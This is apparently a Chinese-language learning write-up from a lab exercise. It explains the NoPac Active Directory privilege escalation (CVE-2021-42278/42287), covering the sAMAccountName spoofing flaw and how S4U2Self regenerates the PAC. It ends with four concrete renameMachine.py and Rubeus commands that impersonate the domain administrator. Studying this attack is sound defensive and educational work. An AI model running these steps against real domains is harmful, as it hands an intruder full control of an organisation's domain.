域渗透-NoPac
这里是准备讲讲PAC的一个攻击手法 NoPac
这里是在打春秋云镜的Spoofing遇到的 刚好借此机会来学习一下
(这里只讲原理 不操作 因为懒得搭建环境…………)
简介
首先PAC呢 在我们学习这个kerberos 协议的时候就遇到这个 就是在我们申请TGT票据的时候生成的
因为我们在申请TGS票据的时候 是不会验证我们是否有权限来访问该服务的 验证是否有权限来访问该服务的时候在我们拿着ST去申请访问的时候 验证的话就是靠我们TGS票据里的PAC
(TGS里的PAC是从TGT票据中复制过来的)
漏洞及漏洞原理
CVE-2021-42278 & CVE-2021-42287
CVE-2021-42278， 机器用户应当是computer$的形式，但是实际并没有验证机器账号是否有$。导致机器用户名可以被模拟冒用。
CVE-2021-42287，Kerberos在处理UserName字段时，如果找不到 UserName 的话，KDC会继续查找 UserName$，如果还是查找不到的话，KDC会继续查找altSecurityIdentities属性的值的⽤户。正是因为这个处理逻辑，导致了漏洞的产⽣。触发这个点有两种方式
- 跨域请求：跨域请求时，⽬标域活动⽬录数据库是找不到其他域的⽤户的，因此会⾛进这个 处理UserName的逻辑。
- 修改saMAccountName属性：在当前域，可以通过修改saMAccountName属性让KDC找不到⽤户，然后⾛进这个处理UserName的逻辑。
但是这还是不够，仅仅让KDC⾛进这个处理UserName的逻辑，还不能伪造⾼权限。因为票据中代表⽤户身份权限是数据块是PAC。⽽TGT认购权证中的PAC是根据预认证身份信息⽣成的，这个我们⽆法伪造。因此得想办法在ST服务票据中进⾏伪造。⽽正常的ST服务票据中的PAC是直接拷⻉TGT认购权证中的。因此，得想办法让KDC在TGS-REP的时候重新⽣成PAC，⽽不是拷⻉TGT票据中的PAC。这⾥也有两种⽅式：
- S4U2Self请求：KDC在处理S4U2Self类型的TGS-REQ请求时，PAC是重新⽣成的。
- 跨域⽆PAC的TGT票据进⾏TGS请求：KDC在处理跨域的TGS-REQ请求时，如果携带的TGT认购权证中没有PAC，PAC会重新⽣成。
(这里为什么S4U2Self请求是会重新生成PAC的原因)
S4U2Self 是替代用户去请求TGS票据 不是代表客户端去请求票据
纸上操作
- 域机器账户 PC1$
- 域控 DC$
先简单讲一下流程 就是我们先去修改saMAccountName为DC 然后就去请求TGT票据 然后再修改回PC1$ 然后使用S4U2Self去申请TGS票据 在KDC验证PAC的时候 因为找不到DC用户 然后就会去找DC$用户 然后找到了 就说明我们用的是域控机器的TGT票据 然后就可以伪造域管去获取TGS了 (并且重新生了PAC ———- 是域管的)
(注意一下 替代用户去申请的TGS票据的时候 替代的用户一定是存在且允许的 不然会失败)
(下面用的命令可能有点乱 但是咱重要看的是思路 理解后稍微改改就行了)
- 第一步
1 | python3 renameMachine.py -current-name '9z1nc$' -new-name 'OWA2010CN-god' -dc-ip 192.168.3.21 'god.com/mary:admin!@#45' |
- 第二步
1 | Rubeus.exe asktgt /user:"r-dc" /password:"1qaz@WSX" /domain:"hacker.lab" /dc:"r-dc.hacker.lab" /nowrap |
- 第三步
1 | python3 renameMachine.py -current-name 'OWA2010CN-God' -new-name '9z1nc$' -dc-ip 192.168.3.21 'god.com/mary:admin!@#45' |
- 第四步
1 | Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/r-dc.hacker.lab" /dc:"r-dc.hacker.lab" /ptt /ticket:base64 |
然后最后就成功了 这样的话我们就可以拥有域管的权限了
一般来说noPAC.py工具的话 就可以一步到位了
